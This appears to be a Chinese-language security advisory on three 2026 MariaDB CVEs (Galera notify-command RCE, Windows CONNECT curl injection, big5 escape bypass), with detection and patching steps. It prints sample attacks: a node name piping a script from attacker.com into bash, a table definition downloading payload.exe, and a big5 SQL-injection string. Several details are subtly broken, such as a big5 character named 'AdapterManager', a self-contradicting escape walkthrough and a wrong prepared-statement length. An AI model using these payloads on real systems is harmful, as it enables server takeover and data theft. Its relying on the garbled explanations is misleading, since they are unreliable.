MariaDB三重CVE漏洞深度分析:CVSS 10.0满分RCE、Windows命令注入与大五编码SQL注入全面围剿数据库安全

2026年6月,MariaDB社区连续披露三个严重安全漏洞,覆盖Galera集群通知机制(CVSS 10.0满分)、Windows平台CONNECT引擎REST功能(CVSS 9.8)以及客户端库mysql_real_escape_string()绕过(CVSS 9.8)。这三个漏洞影响10.6.x到12.3.x全线版本,攻击者可在无需认证的情况下实现远程代码执行和SQL注入。本文从漏洞原理、影响范围、检测方法和修复方案四个维度进行深度剖析。
漏洞概览:三个CVE的攻击面分析

MariaDB作为MySQL最活跃的社区分支,在全球拥有超过数百万部署实例。2026年6月11日至13日间,MariaDB安全团队连续发布三个关键安全公告,分别对应CVE-2026-49261、CVE-2026-44170和CVE-2026-44172。这三个漏洞的攻击向量完全不同,但共同指向一个事实:数据库层面的安全边界正在被重新定义。
CVE-2026-49261获得CVSS 3.1满分10.0评级,这是极为罕见的。该漏洞存在于Galera集群的wsrep_notify_cmd机制中——当集群节点加入时,joiner节点的名称会被直接传递给shell执行,没有任何输入验证或转义。攻击者只需构造一个包含shell命令的节点名,即可在数据库服务器上以MariaDB进程权限执行任意命令。
CVE-2026-44170的CVSS评分为9.8,影响Windows平台上的MariaDB CONNECT引擎。当REST支持启用时,HTTP表的属性值会被直接插入curl命令行参数,攻击者通过构造恶意的表定义可以注入任意系统命令。这个漏洞的特殊之处在于它仅影响Windows部署,但在企业环境中Windows数据库服务器的占比并不低。
CVE-2026-44172同样CVSS 9.8,针对的是MariaDB Connector/C客户端库。在使用big5字符集时,mysql_real_escape_string()函数的转义逻辑存在缺陷,导致经过"安全处理"的用户输入仍然可以触发SQL注入。这个漏洞的影响范围最广,因为任何使用MariaDB Connector/C连接数据库的应用程序都可能受到影响。
CVE-2026-49261:wsrep_notify_cmd满分RCE漏洞

这个漏洞的技术细节值得深入分析。在Galera集群架构中,wsrep_notify_cmd是一个配置选项,用于在集群状态变化时执行自定义脚本或命令。典型的配置如下:
# my.cnf - Galera集群配置
[mysqld]
wsrep_notify_cmd = /usr/local/bin/galera_notify.sh
当新节点加入集群时,MariaDB会调用这个命令,并将节点名称作为参数传递。问题在于,MariaDB在传递joiner节点名称时完全没有进行shell转义。攻击者可以:
# 恶意节点名称示例(实际攻击中通过Galera协议注入)
JOINER_NAME="node1; curl http://attacker.com/shell.sh | bash; echo"
这个命令会被拼接到shell调用中,形成经典的命令注入。更危险的是,wsrep_notify_cmd在很多Galera部署中是默认启用的——云服务商的MariaDB Galera集群、PXC(Percona XtraDB Cluster)的兼容配置都可能受到影响。
影响版本矩阵:
| 分支 | 受影响版本 | 修复版本 | CVSS |
|---|---|---|---|
| 10.6.x | 10.6.1 ~ 10.6.26 | 10.6.27 | 10.0 |
| 10.11.x | 10.11.1 ~ 10.11.17 | 10.11.18 | 10.0 |
| 11.4.x | 11.4.1 ~ 11.4.11 | 11.4.12 | 10.0 |
| 11.8.x | 11.8.1 ~ 11.8.7 | 11.8.8 | 10.0 |
| 12.3.x | 12.3.1 | 12.3.2 | 10.0 |
检测是否启用了wsrep_notify_cmd:
-- 检查Galera相关配置
SHOW VARIABLES LIKE 'wsrep%';
-- 关注 wsrep_notify_cmd 的值
-- 如果为空或NULL,则不受此漏洞影响
临时缓解措施是在my.cnf中注释掉wsrep_notify_cmd或将其设为空值,然后重启MariaDB服务。但这会失去集群状态变更通知功能。
CVE-2026-44170:Windows CONNECT引擎curl命令注入

CONNECT引擎是MariaDB的一个特殊存储引擎,允许通过外部数据源(包括HTTP/REST端点)创建虚拟表。在Windows平台上,当REST支持启用时,MariaDB使用系统curl命令来执行HTTP请求。问题出在HTTP表属性的处理上:
-- 创建恶意HTTP表(攻击者需要有CREATE权限)
CREATE TABLE malicious_rest (
id INT,
data VARCHAR(200)
) ENGINE=CONNECT
TABLE_TYPE=REST
TABNAME='http://target.com/api -o /tmp/shell.exe http://attacker.com/payload.exe';
CONNECT引擎会将TABNAME属性直接拼接到curl命令行中,而Windows的cmd.exe对参数的解析方式与Unix shell不同,使得命令注入更加容易。攻击者可以通过这种注入方式下载并执行任意程序。
# 检测CONNECT引擎是否启用
mysql -e "SHOW ENGINES;" | grep -i connect
# 检查是否有REST类型的表
mysql -e "SELECT TABLE_NAME, ENGINE, CREATE_OPTIONS FROM information_schema.TABLES WHERE ENGINE='CONNECT';"
如果业务不需要CONNECT引擎,最安全的做法是直接禁用:
# my.cnf
[mysqld]
# 禁用CONNECT引擎
# 或者在编译时排除CONNECT引擎
CVE-2026-44172:big5字符集下mysql_real_escape_string()绕过

这个漏洞的根因在于big5字符集的编码特性。big5是一种繁体中文编码,其多字节字符的第二个字节范围是0x40-0x7E和0xA1-0xFE。关键问题在于,0x5C(即反斜杠\)在big5的合法第二字节范围内。
当应用程序使用mysql_real_escape_string()对用户输入进行转义时,函数会在特殊字符前插入反斜杠。但如果攻击者在输入中构造一个以0x5C结尾的big5双字节序列,转义后的反斜杠会与下一个字节组成一个新的big5字符,从而"吞掉"转义符:
# 概念验证(简化版)
# 攻击输入:0xBF 0x5C(big5合法字符"AdapterManager"的第二个字节是0x5C)
# mysql_real_escape_string()在0x5C前再加一个0x5C
# 结果:0xBF 0x5C 0x5C ...
# 但big5解码时,0xBF 0x5C被解析为一个字符
# 第二个0x5C成为SQL语句的一部分,未被转义
payload = b"\xbf\x5c' OR 1=1 --"
# 经过mysql_real_escape_string()后:
# \xbf\x5c\x5c' OR 1=1 --
# big5解码:\xbf\x5c(一个字符)+ \x5c'(\ + 引号,引号未被转义)
受影响的Connector/C版本:
| 版本 | 修复版本 |
|---|---|
| 3.3.x (≤ 3.3.18) | 3.3.19 |
| 3.4.x (≤ 3.4.8) | 3.4.9 |
检测方法:
# 检查Connector/C版本
mysql_config --version
# 或
ldconfig -p | grep libmariadb
# 检查是否使用big5字符集
mysql -e "SHOW VARIABLES LIKE 'character_set%';"
如果应用程序必须使用big5字符集,应该改用mysql_real_escape_string()的prepared statement替代方案:
// 不安全的做法
char escaped[1024];
mysql_real_escape_string(conn, escaped, user_input, strlen(user_input));
sprintf(query, "SELECT * FROM users WHERE name='%s'", escaped);
// 安全的做法:使用prepared statement
MYSQL_STMT *stmt = mysql_stmt_init(conn);
mysql_stmt_prepare(stmt, "SELECT * FROM users WHERE name=?", 41);
MYSQL_BIND bind[1];
bind[0].buffer = user_input;
bind[0].buffer_length = strlen(user_input);
mysql_stmt_bind_param(stmt, bind);
mysql_stmt_execute(stmt);
综合修复方案与应急响应

面对这三个漏洞的集中爆发,企业应按照以下优先级进行修复:
P0 - 立即行动(24小时内):
# 1. 检查所有MariaDB实例的版本
mysql --version
# 2. 检查wsrep_notify_cmd配置
mysql -e "SHOW VARIABLES LIKE 'wsrep_notify_cmd';"
# 3. 检查CONNECT引擎状态(Windows环境)
mysql -e "SHOW ENGINES;" | grep -i connect
# 4. 临时缓解:禁用wsrep_notify_cmd
# 在my.cnf中添加或修改:
# wsrep_notify_cmd =
# 然后重启服务
systemctl restart mariadb
P1 - 计划修复(72小时内):
# Ubuntu/Debian
apt update && apt install -y mariadb-server mariadb-client
# CentOS/RHEL
yum update mariadb-server mariadb-client
# 验证修复版本
mysql --version
# 应显示 >= 10.6.27 / 10.11.18 / 11.4.12 / 11.8.8 / 12.3.2
P2 - 长期加固:
-- 审计所有使用CONNECT引擎的表
SELECT TABLE_SCHEMA, TABLE_NAME, ENGINE
FROM information_schema.TABLES
WHERE ENGINE = 'CONNECT';
-- 检查所有Galera集群节点的wsrep配置
SHOW VARIABLES LIKE 'wsrep%';
-- 确认Connector/C客户端库版本
-- 在应用服务器上执行:
-- dpkg -l | grep libmariadb
-- 或 rpm -qa | grep mariadb-connector
云环境与容器化部署的特殊考量
在云环境中,MariaDB通常以托管服务(如RDS、Cloud SQL的兼容层)或容器化部署(Docker/Kubernetes)的形式存在。对于这些场景:
# Kubernetes StatefulSet修复示例
apiVersion: apps/v1
kind: StatefulSet
metadata:
name: mariadb-galera
spec:
template:
spec:
containers:
- name: mariadb
image: mariadb:11.8.8 # 升级到修复版本
env:
- name: MARIADB_GALERA_CLUSTER_ADDRESS
value: "gcomm://mariadb-0.mariadb,mariadb-1.mariadb"
# 移除或注释 wsrep_notify_cmd 相关配置
# Docker镜像升级
docker pull mariadb:11.8.8
docker stop mariadb-old
docker run -d --name mariadb-new \
-v /data/mariadb:/var/lib/mysql \
-p 3306:3306 \
mariadb:11.8.8
云服务商通常会在CVE披露后的48-72小时内推送补丁。但根据历史数据,从补丁发布到客户实际部署的平均时间窗口为17天(来源:Snyk 2025年度安全报告)。在这17天的窗口期内,攻击者有充分时间开发和部署利用代码。
数据来源与参考文献
- MariaDB Security Advisory. "GHSA-3p3m-4x7c-p4pw: wsrep_notify_cmd Shell Command Injection." GitHub, 2026-06-11. https://github.com/MariaDB/server/security/advisories/GHSA-3p3m-4x7c-p4pw
- MariaDB Security Advisory. "GHSA-f835-cfjq-wf73: CONNECT Engine REST curl Injection." GitHub, 2026-06-13. https://github.com/MariaDB/server/security/advisories/GHSA-f835-cfjq-wf73
- MariaDB Security Advisory. "GHSA-pv9p-5w55-55jm: mysql_real_escape_string Big5 Bypass." GitHub, 2026-06-11. https://github.com/MariaDB/server/security/advisories/GHSA-pv9p-5w55-55jm
- NVD. "CVE-2026-49261 Detail." National Vulnerability Database, 2026. https://nvd.nist.gov/vuln/detail/CVE-2026-49261
- NVD. "CVE-2026-44170 Detail." National Vulnerability Database, 2026. https://nvd.nist.gov/vuln/detail/CVE-2026-44170
- NVD. "CVE-2026-44172 Detail." National Vulnerability Database, 2026. https://nvd.nist.gov/vuln/detail/CVE-2026-44172
- MariaDB JIRA. "MDEV-39721." https://jira.mariadb.org/browse/MDEV-39721
- Snyk. "State of Open Source Security 2025." Snyk, 2025.
更新时间: 2026-06-24 作者: 安全情报分析团队
评论